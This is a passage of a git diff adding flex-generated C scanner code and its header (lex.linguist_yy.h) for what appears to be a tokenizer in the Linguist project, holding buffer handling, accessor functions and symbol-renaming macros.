+ * @param yyscanner The scanner object.
+ * @return the newly allocated buffer state object.
+ * @note If you want to scan bytes that may contain NUL values, then use
+ *       yy_scan_bytes() instead.
+ */
+YY_BUFFER_STATE yy_scan_string (const char * yystr , yyscan_t yyscanner)
+{
+    
+	return yy_scan_bytes( yystr, (int) strlen(yystr) , yyscanner);
+}
+
+/** Setup the input buffer state to scan the given bytes. The next call to yylex() will
+ * scan from a @e copy of @a bytes.
+ * @param yybytes the byte buffer to scan
+ * @param _yybytes_len the number of bytes in the buffer pointed to by @a bytes.
+ * @param yyscanner The scanner object.
+ * @return the newly allocated buffer state object.
+ */
+YY_BUFFER_STATE yy_scan_bytes  (const char * yybytes, int  _yybytes_len , yyscan_t yyscanner)
+{
+	YY_BUFFER_STATE b;
+	char *buf;
+	yy_size_t n;
+	int i;
+    
+	/* Get memory for full buffer, including space for trailing EOB's. */
+	n = (yy_size_t) (_yybytes_len + 2);
+	buf = (char *) yyalloc( n , yyscanner );
+	if ( ! buf )
+		YY_FATAL_ERROR( "out of dynamic memory in yy_scan_bytes()" );
+
+	for ( i = 0; i < _yybytes_len; ++i )
+		buf[i] = yybytes[i];
+
+	buf[_yybytes_len] = buf[_yybytes_len+1] = YY_END_OF_BUFFER_CHAR;
+
+	b = yy_scan_buffer( buf, n , yyscanner);
+	if ( ! b )
+		YY_FATAL_ERROR( "bad buffer in yy_scan_bytes()" );
+
+	/* It's okay to grow etc. this buffer, and we should throw it
+	 * away when we're done.
+	 */
+	b->yy_is_our_buffer = 1;
+
+	return b;
+}
+
+#ifndef YY_EXIT_FAILURE
+#define YY_EXIT_FAILURE 2
+#endif
+
+static void yynoreturn yy_fatal_error (const char* msg , yyscan_t yyscanner)
+{
+	struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	(void)yyg;
+	fprintf( stderr, "%s\n", msg );
+	exit( YY_EXIT_FAILURE );
+}
+
+/* Redefine yyless() so it works in section 3 code. */
+
+#undef yyless
+#define yyless(n) \
+	do \
+		{ \
+		/* Undo effects of setting up yytext. */ \
+        int yyless_macro_arg = (n); \
+        YY_LESS_LINENO(yyless_macro_arg);\
+		yytext[yyleng] = yyg->yy_hold_char; \
+		yyg->yy_c_buf_p = yytext + yyless_macro_arg; \
+		yyg->yy_hold_char = *yyg->yy_c_buf_p; \
+		*yyg->yy_c_buf_p = '\0'; \
+		yyleng = yyless_macro_arg; \
+		} \
+	while ( 0 )
+
+/* Accessor  methods (get/set functions) to struct members. */
+
+/** Get the user-defined data for this scanner.
+ * @param yyscanner The scanner object.
+ */
+YY_EXTRA_TYPE yyget_extra  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    return yyextra;
+}
+
+/** Get the current line number.
+ * @param yyscanner The scanner object.
+ */
+int yyget_lineno  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+        if (! YY_CURRENT_BUFFER)
+            return 0;
+    
+    return yylineno;
+}
+
+/** Get the current column number.
+ * @param yyscanner The scanner object.
+ */
+int yyget_column  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+        if (! YY_CURRENT_BUFFER)
+            return 0;
+    
+    return yycolumn;
+}
+
+/** Get the input stream.
+ * @param yyscanner The scanner object.
+ */
+FILE *yyget_in  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    return yyin;
+}
+
+/** Get the output stream.
+ * @param yyscanner The scanner object.
+ */
+FILE *yyget_out  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    return yyout;
+}
+
+/** Get the length of the current token.
+ * @param yyscanner The scanner object.
+ */
+int yyget_leng  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    return yyleng;
+}
+
+/** Get the current token.
+ * @param yyscanner The scanner object.
+ */
+
+char *yyget_text  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    return yytext;
+}
+
+/** Set the user-defined data. This data is never touched by the scanner.
+ * @param user_defined The data to be associated with this scanner.
+ * @param yyscanner The scanner object.
+ */
+void yyset_extra (YY_EXTRA_TYPE  user_defined , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    yyextra = user_defined ;
+}
+
+/** Set the current line number.
+ * @param _line_number line number
+ * @param yyscanner The scanner object.
+ */
+void yyset_lineno (int  _line_number , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+        /* lineno is only valid if an input buffer exists. */
+        if (! YY_CURRENT_BUFFER )
+           YY_FATAL_ERROR( "yyset_lineno called with no buffer" );
+    
+    yylineno = _line_number;
+}
+
+/** Set the current column.
+ * @param _column_no column number
+ * @param yyscanner The scanner object.
+ */
+void yyset_column (int  _column_no , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+        /* column is only valid if an input buffer exists. */
+        if (! YY_CURRENT_BUFFER )
+           YY_FATAL_ERROR( "yyset_column called with no buffer" );
+    
+    yycolumn = _column_no;
+}
+
+/** Set the input stream. This does not discard the current
+ * input buffer.
+ * @param _in_str A readable stream.
+ * @param yyscanner The scanner object.
+ * @see yy_switch_to_buffer
+ */
+void yyset_in (FILE *  _in_str , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    yyin = _in_str ;
+}
+
+void yyset_out (FILE *  _out_str , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    yyout = _out_str ;
+}
+
+int yyget_debug  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    return yy_flex_debug;
+}
+
+void yyset_debug (int  _bdebug , yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    yy_flex_debug = _bdebug ;
+}
+
+/* Accessor methods for yylval and yylloc */
+
+/* User-visible API */
+
+/* yylex_init is special because it creates the scanner itself, so it is
+ * the ONLY reentrant function that doesn't take the scanner as the last argument.
+ * That's why we explicitly handle the declaration, instead of using our macros.
+ */
+int yylex_init(yyscan_t* ptr_yy_globals)
+{
+    if (ptr_yy_globals == NULL){
+        errno = EINVAL;
+        return 1;
+    }
+
+    *ptr_yy_globals = (yyscan_t) yyalloc ( sizeof( struct yyguts_t ), NULL );
+
+    if (*ptr_yy_globals == NULL){
+        errno = ENOMEM;
+        return 1;
+    }
+
+    /* By setting to 0xAA, we expose bugs in yy_init_globals. Leave at 0x00 for releases. */
+    memset(*ptr_yy_globals,0x00,sizeof(struct yyguts_t));
+
+    return yy_init_globals ( *ptr_yy_globals );
+}
+
+/* yylex_init_extra has the same functionality as yylex_init, but follows the
+ * convention of taking the scanner as the last argument. Note however, that
+ * this is a *pointer* to a scanner, as it will be allocated by this call (and
+ * is the reason, too, why this function also must handle its own declaration).
+ * The user defined value in the first argument will be available to yyalloc in
+ * the yyextra field.
+ */
+int yylex_init_extra( YY_EXTRA_TYPE yy_user_defined, yyscan_t* ptr_yy_globals )
+{
+    struct yyguts_t dummy_yyguts;
+
+    yyset_extra (yy_user_defined, &dummy_yyguts);
+
+    if (ptr_yy_globals == NULL){
+        errno = EINVAL;
+        return 1;
+    }
+
+    *ptr_yy_globals = (yyscan_t) yyalloc ( sizeof( struct yyguts_t ), &dummy_yyguts );
+
+    if (*ptr_yy_globals == NULL){
+        errno = ENOMEM;
+        return 1;
+    }
+
+    /* By setting to 0xAA, we expose bugs in
+    yy_init_globals. Leave at 0x00 for releases. */
+    memset(*ptr_yy_globals,0x00,sizeof(struct yyguts_t));
+
+    yyset_extra (yy_user_defined, *ptr_yy_globals);
+
+    return yy_init_globals ( *ptr_yy_globals );
+}
+
+static int yy_init_globals (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+    /* Initialization is the same as for the non-reentrant scanner.
+     * This function is called from yylex_destroy(), so don't allocate here.
+     */
+
+    yyg->yy_buffer_stack = NULL;
+    yyg->yy_buffer_stack_top = 0;
+    yyg->yy_buffer_stack_max = 0;
+    yyg->yy_c_buf_p = NULL;
+    yyg->yy_init = 0;
+    yyg->yy_start = 0;
+
+    yyg->yy_start_stack_ptr = 0;
+    yyg->yy_start_stack_depth = 0;
+    yyg->yy_start_stack =  NULL;
+
+/* Defined in main.c */
+#ifdef YY_STDINIT
+    yyin = stdin;
+    yyout = stdout;
+#else
+    yyin = NULL;
+    yyout = NULL;
+#endif
+
+    /* For future reference: Set errno on error, since we are called by
+     * yylex_init()
+     */
+    return 0;
+}
+
+/* yylex_destroy is for both reentrant and non-reentrant scanners. */
+int yylex_destroy  (yyscan_t yyscanner)
+{
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+    /* Pop the buffer stack, destroying each element. */
+	while(YY_CURRENT_BUFFER){
+		yy_delete_buffer( YY_CURRENT_BUFFER , yyscanner );
+		YY_CURRENT_BUFFER_LVALUE = NULL;
+		yypop_buffer_state(yyscanner);
+	}
+
+	/* Destroy the stack itself. */
+	yyfree(yyg->yy_buffer_stack , yyscanner);
+	yyg->yy_buffer_stack = NULL;
+
+    /* Destroy the start condition stack. */
+        yyfree( yyg->yy_start_stack , yyscanner );
+        yyg->yy_start_stack = NULL;
+
+    /* Reset the globals. This is important in a non-reentrant scanner so the next time
+     * yylex() is called, initialization will occur. */
+    yy_init_globals( yyscanner);
+
+    /* Destroy the main struct (reentrant only). */
+    yyfree ( yyscanner , yyscanner );
+    yyscanner = NULL;
+    return 0;
+}
+
+/*
+ * Internal utility routines.
+ */
+
+#ifndef yytext_ptr
+static void yy_flex_strncpy (char* s1, const char * s2, int n , yyscan_t yyscanner)
+{
+	struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	(void)yyg;
+
+	int i;
+	for ( i = 0; i < n; ++i )
+		s1[i] = s2[i];
+}
+#endif
+
+#ifdef YY_NEED_STRLEN
+static int yy_flex_strlen (const char * s , yyscan_t yyscanner)
+{
+	int n;
+	for ( n = 0; s[n]; ++n )
+		;
+
+	return n;
+}
+#endif
+
+void *yyalloc (yy_size_t  size , yyscan_t yyscanner)
+{
+	struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	(void)yyg;
+	return malloc(size);
+}
+
+void *yyrealloc  (void * ptr, yy_size_t  size , yyscan_t yyscanner)
+{
+	struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	(void)yyg;
+
+	/* The cast to (char *) in the following accommodates both
+	 * implementations that use char* generic pointers, and those
+	 * that use void* generic pointers.  It works with the latter
+	 * because both ANSI C and C++ allow castless assignment from
+	 * any pointer type to void*, and deal with argument conversions
+	 * as though doing an assignment.
+	 */
+	return realloc(ptr, size);
+}
+
+void yyfree (void * ptr , yyscan_t yyscanner)
+{
+	struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+	(void)yyg;
+	free( (char *) ptr );	/* see yyrealloc() for (char *) cast */
+}
+
+#define YYTABLES_NAME "yytables"
+
+#line 176 "tokenizer.l"
+
+
diff --git a/ext/linguist/lex.linguist_yy.h b/ext/linguist/lex.linguist_yy.h
new file mode 100644
index 0000000000..f82ca5065b
--- /dev/null
+++ b/ext/linguist/lex.linguist_yy.h
@@ -0,0 +1,703 @@
+#ifndef linguist_yyHEADER_H
+#define linguist_yyHEADER_H 1
+#define linguist_yyIN_HEADER 1
+
+#line 6 "lex.linguist_yy.h"
+
+#define  YY_INT_ALIGNED short int
+
+/* A lexical scanner generated by flex */
+
+#define FLEX_SCANNER
+#define YY_FLEX_MAJOR_VERSION 2
+#define YY_FLEX_MINOR_VERSION 6
+#define YY_FLEX_SUBMINOR_VERSION 4
+#if YY_FLEX_SUBMINOR_VERSION > 0
+#define FLEX_BETA
+#endif
+
+#ifdef yy_create_buffer
+#define linguist_yy_create_buffer_ALREADY_DEFINED
+#else
+#define yy_create_buffer linguist_yy_create_buffer
+#endif
+
+#ifdef yy_delete_buffer
+#define linguist_yy_delete_buffer_ALREADY_DEFINED
+#else
+#define yy_delete_buffer linguist_yy_delete_buffer
+#endif
+
+#ifdef yy_scan_buffer
+#define linguist_yy_scan_buffer_ALREADY_DEFINED
+#else
+#define yy_scan_buffer linguist_yy_scan_buffer
+#endif
+
+#ifdef yy_scan_string
+#define linguist_yy_scan_string_ALREADY_DEFINED
+#else
+#define yy_scan_string linguist_yy_scan_string
+#endif
+
+#ifdef yy_scan_bytes
+#define linguist_yy_scan_bytes_ALREADY_DEFINED
+#else
+#define yy_scan_bytes linguist_yy_scan_bytes
+#endif
+
+#ifdef yy_init_buffer
+#define linguist_yy_init_buffer_ALREADY_DEFINED
+#else
+#define yy_init_buffer linguist_yy_init_buffer
+#endif
+
+#ifdef yy_flush_buffer
+#define linguist_yy_flush_buffer_ALREADY_DEFINED
+#else
+#define yy_flush_buffer linguist_yy_flush_buffer
+#endif
+
+#ifdef yy_load_buffer_state
+#define linguist_yy_load_buffer_state_ALREADY_DEFINED
+#else
+#define yy_load_buffer_state linguist_yy_load_buffer_state
+#endif
+
+#ifdef yy_switch_to_buffer
+#define linguist_yy_switch_to_buffer_ALREADY_DEFINED
+#else
+#define yy_switch_to_buffer linguist_yy_switch_to_buffer
+#endif
+
+#ifdef yypush_buffer_state
+#define linguist_yypush_buffer_state_ALREADY_DEFINED
+#else
+#define yypush_buffer_state linguist_yypush_buffer_state
+#endif
+
+#ifdef yypop_buffer_state
+#define linguist_yypop_buffer_state_ALREADY_DEFINED
+#else
+#define yypop_buffer_state linguist_yypop_buffer_state
+#endif
+
+#ifdef yyensure_buffer_stack
+#define linguist_yyensure_buffer_stack_ALREADY_DEFINED
+#else
+#define yyensure_buffer_stack linguist_yyensure_buffer_stack
+#endif
+
+#ifdef yylex
+#define linguist_yylex_ALREADY_DEFINED
+#else
+#define yylex linguist_yylex
+#endif
+
+#ifdef yyrestart
+#define linguist_yyrestart_ALREADY_DEFINED
+#else
+#define yyrestart linguist_yyrestart
+#endif
+
+#ifdef yylex_init
+#define linguist_yylex_init_ALREADY_DEFINED
+#else
+#define yylex_init linguist_yylex_init
+#endif
+
+#ifdef yylex_init_extra
+#define linguist_yylex_init_extra_ALREADY_DEFINED
+#else
+#define yylex_init_extra linguist_yylex_init_extra
+#endif
+
+#ifdef yylex_destroy
+#define linguist_yylex_destroy_ALREADY_DEFINED
+#else
+#define yylex_destroy linguist_yylex_destroy
+#endif
+
+#ifdef yyget_debug
+#define linguist_yyget_debug_ALREADY_DEFINED
+#else
+#define yyget_debug linguist_yyget_debug
+#endif
+
+#ifdef yyset_debug
+#define linguist_yyset_debug_ALREADY_DEFINED
+#else
+#define yyset_debug linguist_yyset_debug
+#endif
+
+#ifdef yyget_extra
+#define linguist_yyget_extra_ALREADY_DEFINED
+#else
+#define yyget_extra linguist_yyget_extra
+#endif
+
+#ifdef yyset_extra
+#define linguist_yyset_extra_ALREADY_DEFINED
+#else
+#define yyset_extra linguist_yyset_extra
+#endif
+
+#ifdef yyget_in
+#define linguist_yyget_in_ALREADY_DEFINED
+#else
+#define yyget_in linguist_yyget_in
+#endif
+
+#ifdef yyset_in
+#define linguist_yyset_in_ALREADY_DEFINED
+#else
+#define yyset_in linguist_yyset_in
+#endif
+
+#ifdef yyget_out
+#define linguist_yyget_out_ALREADY_DEFINED
+#else
+#define yyget_out linguist_yyget_out
+#endif
+
+#ifdef yyset_out
+#define linguist_yyset_out_ALREADY_DEFINED
+#else
+#define yyset_out linguist_yyset_out
+#endif
+
+#ifdef yyget_leng
+#define linguist_yyget_leng_ALREADY_DEFINED
+#else
+#define yyget_leng linguist_yyget_leng
+#endif
+
+#ifdef yyget_text
+#define linguist_yyget_text_ALREADY_DEFINED
+#else
+#define yyget_text linguist_yyget_text
+#endif
+
+#ifdef yyget_lineno
+#define linguist_yyget_lineno_ALREADY_DEFINED
+#else
+#define yyget_lineno linguist_yyget_lineno
+#endif
+
+#ifdef yyset_lineno
+#define linguist_yyset_lineno_ALREADY_DEFINED
+#else
+#define yyset_lineno linguist_yyset_lineno
+#endif
+
+#ifdef yyget_column
+#define linguist_yyget_column_ALREADY_DEFINED
+#else
+#define yyget_column linguist_yyget_column
+#endif
+
+#ifdef yyset_column
+#define linguist_yyset_column_ALREADY_DEFINED
+#else
+#define yyset_column linguist_yyset_column
+#endif
+
+#ifdef yywrap
+#define linguist_yywrap_ALREADY_DEFINED
+#else
+#define yywrap linguist_yywrap
+#endif
+
+#ifdef yyalloc
+#define linguist_yyalloc_ALREADY_DEFINED
+#else
+#define yyalloc linguist_yyalloc
+#endif
+
+#ifdef yyrealloc
+#define linguist_yyrealloc_ALREADY_DEFINED
+#else
+#define yyrealloc linguist_yyrealloc
+#endif
+
+#ifdef yyfree
+#define linguist_yyfree_ALREADY_DEFINED
+#else
+#define yyfree linguist_yyfree
+#endif
+
+/* First, we deal with  platform-specific or compiler-specific issues. */
+
+/* begin standard C headers. */
+#include <stdio.h>
+#include <string.h>
+#include <errno.h>
+#include <stdlib.h>
+
+/* end standard C headers. */
+
+/* flex integer type definitions */
+
+#ifndef FLEXINT_H
+#define FLEXINT_H
+
+/* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */
+
+#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
+
+/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,
+ * if you want the limit (max/min) macros for int types. 
+ */
+#ifndef __STDC_LIMIT_MACROS
+#define __STDC_LIMIT_MACROS 1
+#endif
+
+#include <inttypes.h>
+typedef int8_t flex_int8_t;
+typedef uint8_t flex_uint8_t;
+typedef int16_t flex_int16_t;
+typedef uint16_t flex_uint16_t;
+typedef int32_t flex_int32_t;
+typedef uint32_t flex_uint32_t;
+#else
+typedef signed char flex_int8_t;
+typedef short int flex_int16_t;
+typedef int flex_int32_t;
+typedef unsigned char flex_uint8_t; 
+typedef unsigned short int flex_uint16_t;
+typedef unsigned int flex_uint32_t;
+
+/* Limits of integral types. */
+#ifndef INT8_MIN
+#define INT8_MIN               (-128)
+#endif
+#ifndef INT16_MIN
+#define INT16_MIN              (-32767-1)
+#endif
+#ifndef INT32_MIN
+#define INT32_MIN              (-2147483647-1)
+#endif
+#ifndef INT8_MAX
+#define INT8_MAX               (127)
+#endif
+#ifndef INT16_MAX
+#define INT16_MAX              (32767)
+#endif
+#ifndef INT32_MAX
+#define INT32_MAX              (2147483647)
+#endif
+#ifndef UINT8_MAX
+#define UINT8_MAX              (255U)
+#endif
+#ifndef UINT16_MAX
+#define UINT16_MAX             (65535U)
+#endif
+#ifndef UINT32_MAX
+#define UINT32_MAX             (4294967295U)
+#endif
+
+#ifndef SIZE_MAX
+#define SIZE_MAX               (~(size_t)0)
+#endif
+
+#endif /* ! C99 */
+
+#endif /* ! FLEXINT_H */
+
+/* begin standard C++ headers. */
+
+/* TODO: this is always defined, so inline it */
+#define yyconst const
+
+#if defined(__GNUC__) && __GNUC__ >= 3
+#define yynoreturn __attribute__((__noreturn__))
+#else
+#define yynoreturn
+#endif
+
+/* An opaque pointer. */
+#ifndef YY_TYPEDEF_YY_SCANNER_T
+#define YY_TYPEDEF_YY_SCANNER_T
+typedef void* yyscan_t;
+#endif
+
+/* For convenience, these vars (plus the bison vars far below)
+   are macros in the reentrant scanner. */
+#define yyin yyg->yyin_r
+#define yyout yyg->yyout_r
+#define yyextra yyg->yyextra_r
+#define yyleng yyg->yyleng_r
+#define yytext yyg->yytext_r
+#define yylineno (YY_CURRENT_BUFFER_LVALUE->yy_bs_lineno)
+#define yycolumn (YY_CURRENT_BUFFER_LVALUE->yy_bs_column)
+#define yy_flex_debug yyg->yy_flex_debug_r
+
+/* Size of default input buffer. */
+#ifndef YY_BUF_SIZE
+#ifdef __ia64__
+/* On IA-64, the buffer size is 16k, not 8k.
+ * Moreover, YY_BUF_SIZE is 2*YY_READ_BUF_SIZE in the general case.
+ * Ditto for the __ia64__ case accordingly.
+ */
+#define YY_BUF_SIZE 32768
+#else
+#define YY_BUF_SIZE 16384
+#endif /* __ia64__ */
+#endif
+
+#ifndef YY_TYPEDEF_YY_BUFFER_STATE
+#define YY_TYPEDEF_YY_BUFFER_STATE
+typedef struct yy_buffer_state *YY_BUFFER_STATE;
+#endif
+
+#ifndef YY_TYPEDEF_YY_SIZE_T
+#define YY_TYPEDEF_YY_SIZE_T
+typedef size_t yy_size_t;
+#endif
+
+#ifndef YY_STRUCT_YY_BUFFER_STATE
+#define YY_STRUCT_YY_BUFFER_STATE
+struct yy_buffer_state
+	{
+	FILE *yy_input_file;
+
+	char *yy_ch_buf;		/* input buffer */
+	char *yy_buf_pos;		/* current position in input buffer */
+
+	/* Size of input buffer in bytes, not including room for EOB
+	 * characters.
+	 */
+	int yy_buf_size;
+
+	/* Number of characters read into yy_ch_buf, not including EOB
+	 * characters.
+	 */
+	int yy_n_chars;
+
+	/* Whether we "own" the buffer - i.e., we know we created it,
+	 * and can realloc() it to grow it, and should free() it to
+	 * delete it.
+	 */
+	int yy_is_our_buffer;
+
+	/* Whether this is an "interactive" input source; if so, and
+	 * if we're using stdio for input, then we want to use getc()
+	 * instead of fread(), to make sure we stop fetching input after
+	 * each newline.
+	 */
+	int yy_is_interactive;
+
+	/* Whether we're considered to be at the beginning of a line.
+	 * If so, '^' rules will be active on the next match, otherwise
+	 * not.
+	 */
+	int yy_at_bol;
+
+    int yy_bs_lineno; /**< The line count. */
+    int yy_bs_column; /**< The column count. */
+
+	/* Whether to try to fill the input buffer when we reach the
+	 * end of it.
+	 */
+	int yy_fill_buffer;
+
+	int yy_buffer_status;
+
+	};
+#endif /* !YY_STRUCT_YY_BUFFER_STATE */
+
+void yyrestart ( FILE *input_file , yyscan_t yyscanner );
+void yy_switch_to_buffer ( YY_BUFFER_STATE new_buffer , yyscan_t yyscanner );
+YY_BUFFER_STATE yy_create_buffer ( FILE *file, int size , yyscan_t yyscanner );
+void yy_delete_buffer ( YY_BUFFER_STATE b , yyscan_t yyscanner );
+void yy_flush_buffer ( YY_BUFFER_STATE b , yyscan_t yyscanner );
+void yypush_buffer_state ( YY_BUFFER_STATE new_buffer , yyscan_t yyscanner );
+void yypop_buffer_state ( yyscan_t yyscanner );
+
+YY_BUFFER_STATE yy_scan_buffer ( char *base, yy_size_t size , yyscan_t yyscanner );
+YY_BUFFER_STATE yy_scan_string ( const char *yy_str , yyscan_t yyscanner );
+YY_BUFFER_STATE yy_scan_bytes ( const char *bytes, int len , yyscan_t yyscanner );
+
+void *yyalloc ( yy_size_t , yyscan_t yyscanner );
+void *yyrealloc ( void *, yy_size_t , yyscan_t yyscanner );
+void yyfree ( void * , yyscan_t yyscanner );
+
+/* Begin user sect3 */
+
+#define yytext_ptr yytext_r
+
+#ifdef YY_HEADER_EXPORT_START_CONDITIONS
+#define INITIAL 0
+#define c_comment 1
+#define xml_comment 2
+#define haskell_comment 3
+#define ocaml_comment 4
+#define python_dcomment 5
+#define python_scomment 6
+#define roff_comment 7
+#define lean_comment 8
+
+#endif
+
+#ifndef YY_NO_UNISTD_H
+/* Special case for "unistd.h", since it is non-ANSI. We include it way
+ * down here because we want the user's section 1 to have been scanned first.
+ * The user has a chance to override it with an option.
+ */
+#include <unistd.h>
+#endif
+
+#define YY_EXTRA_TYPE VALUE*
+
+int yylex_init (yyscan_t* scanner);
+
+int yylex_init_extra ( YY_EXTRA_TYPE user_defined, yyscan_t* scanner);
+
+/* Accessor methods to globals.
+   These are made visible to non-reentrant scanners for convenience. */
+
+int yylex_destroy ( yyscan_t yyscanner );
+
+int yyget_debug ( yyscan_t yyscanner );
+
+void yyset_debug ( int debug_flag , yyscan_t yyscanner );
+
+YY_EXTRA_TYPE yyget_extra ( yyscan_t yyscanner );
+
+void yyset_extra ( YY_EXTRA_TYPE user_defined , yyscan_t yyscanner );
+
+FILE *yyget_in ( yyscan_t yyscanner );
+
+void yyset_in  ( FILE * _in_str , yyscan_t yyscanner );
+
+FILE *yyget_out ( yyscan_t yyscanner );
+
+void yyset_out  ( FILE * _out_str , yyscan_t yyscanner );
+
+			int yyget_leng ( yyscan_t yyscanner );
+
+char *yyget_text ( yyscan_t yyscanner );
+
+int yyget_lineno ( yyscan_t yyscanner );
+
+void yyset_lineno ( int _line_number , yyscan_t yyscanner );
+
+int yyget_column  ( yyscan_t yyscanner );
+
+void yyset_column ( int _column_no , yyscan_t yyscanner );
+
+/* Macros after this point can all be overridden by user definitions in
+ * section 1.
+ */
+
+#ifndef YY_SKIP_YYWRAP
+#ifdef __cplusplus
+extern "C" int yywrap ( yyscan_t yyscanner );
+#else
+extern int yywrap ( yyscan_t yyscanner );
+#endif
+#endif
+
+#ifndef yytext_ptr
+static void yy_flex_strncpy ( char *, const char *, int , yyscan_t yyscanner);
+#endif
+
+#ifdef YY_NEED_STRLEN
+static int yy_flex_strlen ( const char * , yyscan_t yyscanner);
+#endif
+
+#ifndef YY_NO_INPUT
+
+#endif
+
+/* Amount of stuff to slurp up with each read. */
+#ifndef YY_READ_BUF_SIZE
+#ifdef __ia64__
+/* On IA-64, the buffer size is 16k, not 8k */
+#define YY_READ_BUF_SIZE 16384
+#else
+#define YY_READ_BUF_SIZE 8192
+#endif /* __ia64__ */
+#endif
+
+/* Number of entries by which start-condition stack grows. */
+#ifndef YY_START_STACK_INCR
+#define YY_START_STACK_INCR 25
+#endif
+
+/* Default declaration of generated scanner - a define so the user can
+ * easily add parameters.
+ */
+#ifndef YY_DECL
+#define YY_DECL_IS_OURS 1
+
+extern int yylex (yyscan_t yyscanner);
+
+#define YY_DECL int yylex (yyscan_t yyscanner)
+#endif /* !YY_DECL */
+
+/* yy_get_previous_state - get the state just before the EOB char was reached */
+
+#undef YY_NEW_FILE
+#undef YY_FLUSH_BUFFER
+#undef yy_set_bol
+#undef yy_new_buffer
+#undef yy_set_interactive
+#undef YY_DO_BEFORE_ACTION
+
+#ifdef YY_DECL_IS_OURS
+#undef YY_DECL_IS_OURS
+#undef YY_DECL
+#endif
+
+#ifndef linguist_yy_create_buffer_ALREADY_DEFINED
+#undef yy_create_buffer
+#endif
+#ifndef linguist_yy_delete_buffer_ALREADY_DEFINED
+#undef yy_delete_buffer
+#endif
+#ifndef linguist_yy_scan_buffer_ALREADY_DEFINED
+#undef yy_scan_buffer
+#endif
+#ifndef linguist_yy_scan_string_ALREADY_DEFINED
+#undef yy_scan_string
+#endif
+#ifndef linguist_yy_scan_bytes_ALREADY_DEFINED
+#undef yy_scan_bytes
+#endif
+#ifndef linguist_yy_init_buffer_ALREADY_DEFINED
+#undef yy_init_buffer
+#endif
+#ifndef linguist_yy_flush_buffer_ALREADY_DEFINED
+#undef yy_flush_buffer
+#endif
+#ifndef linguist_yy_load_buffer_state_ALREADY_DEFINED
+#undef yy_load_buffer_state
+#endif
+#ifndef linguist_yy_switch_to_buffer_ALREADY_DEFINED
+#undef yy_switch_to_buffer
+#endif
+#ifndef linguist_yypush_buffer_state_ALREADY_DEFINED
+#undef yypush_buffer_state
+#endif
+#ifndef linguist_yypop_buffer_state_ALREADY_DEFINED
+#undef yypop_buffer_state
+#endif
+#ifndef linguist_yyensure_buffer_stack_ALREADY_DEFINED
+#undef yyensure_buffer_stack
+#endif
+#ifndef linguist_yylex_ALREADY_DEFINED
+#undef yylex
+#endif
+#ifndef linguist_yyrestart_ALREADY_DEFINED
+#undef yyrestart
+#endif
+#ifndef linguist_yylex_init_ALREADY_DEFINED
+#undef yylex_init
+#endif
+#ifndef linguist_yylex_init_extra_ALREADY_DEFINED
+#undef yylex_init_extra
+#endif
+#ifndef linguist_yylex_destroy_ALREADY_DEFINED
+#undef yylex_destroy
+#endif
+#ifndef linguist_yyget_debug_ALREADY_DEFINED
+#undef yyget_debug
+#endif
+#ifndef linguist_yyset_debug_ALREADY_DEFINED
+#undef yyset_debug
+#endif
+#ifndef linguist_yyget_extra_ALREADY_DEFINED
+#undef yyget_extra
+#endif
+#ifndef linguist_yyset_extra_ALREADY_DEFINED
+#undef yyset_extra
+#endif
+#ifndef linguist_yyget_in_ALREADY_DEFINED
+#undef yyget_in
+#endif
+#ifndef linguist_yyset_in_ALREADY_DEFINED
+#undef yyset_in
+#endif
+#ifndef linguist_yyget_out_ALREADY_DEFINED
+#undef yyget_out
+#endif
+#ifndef linguist_yyset_out_ALREADY_DEFINED
+#undef yyset_out
+#endif
+#ifndef linguist_yyget_leng_ALREADY_DEFINED
+#undef yyget_leng
+#endif
+#ifndef linguist_yyget_text_ALREADY_DEFINED
+#undef yyget_text
+#endif
+#ifndef linguist_yyget_lineno_ALREADY_DEFINED
+#undef yyget_lineno
+#endif
+#ifndef linguist_yyset_lineno_ALREADY_DEFINED
+#undef yyset_lineno
+#endif
+#ifndef linguist_yyget_column_ALREADY_DEFINED
+#undef yyget_column
+#endif
+#ifndef linguist_yyset_column_ALREADY_DEFINED
+#undef yyset_column
+#endif
+#ifndef linguist_yywrap_ALREADY_DEFINED
+#undef yywrap
+#endif
+#ifndef linguist_yyget_lval_ALREADY_DEFINED
+#undef yyget_lval
+#endif
+#ifndef linguist_yyset_lval_ALREADY_DEFINED
+#undef yyset_lval
+#endif
+#ifndef linguist_yyget_lloc_ALREADY_DEFINED
+#undef yyget_lloc
+#endif
+#ifndef linguist_yyset_lloc_ALREADY_DEFINED
+#undef yyset_lloc
+#endif
+#ifndef linguist_yyalloc_ALREADY_DEFINED
+#undef yyalloc
+#endif
+#ifndef linguist_yyrealloc_ALREADY_DEFINED
+#undef yyrealloc
+#endif
+#ifndef linguist_yyfree_ALREADY_DEFINED
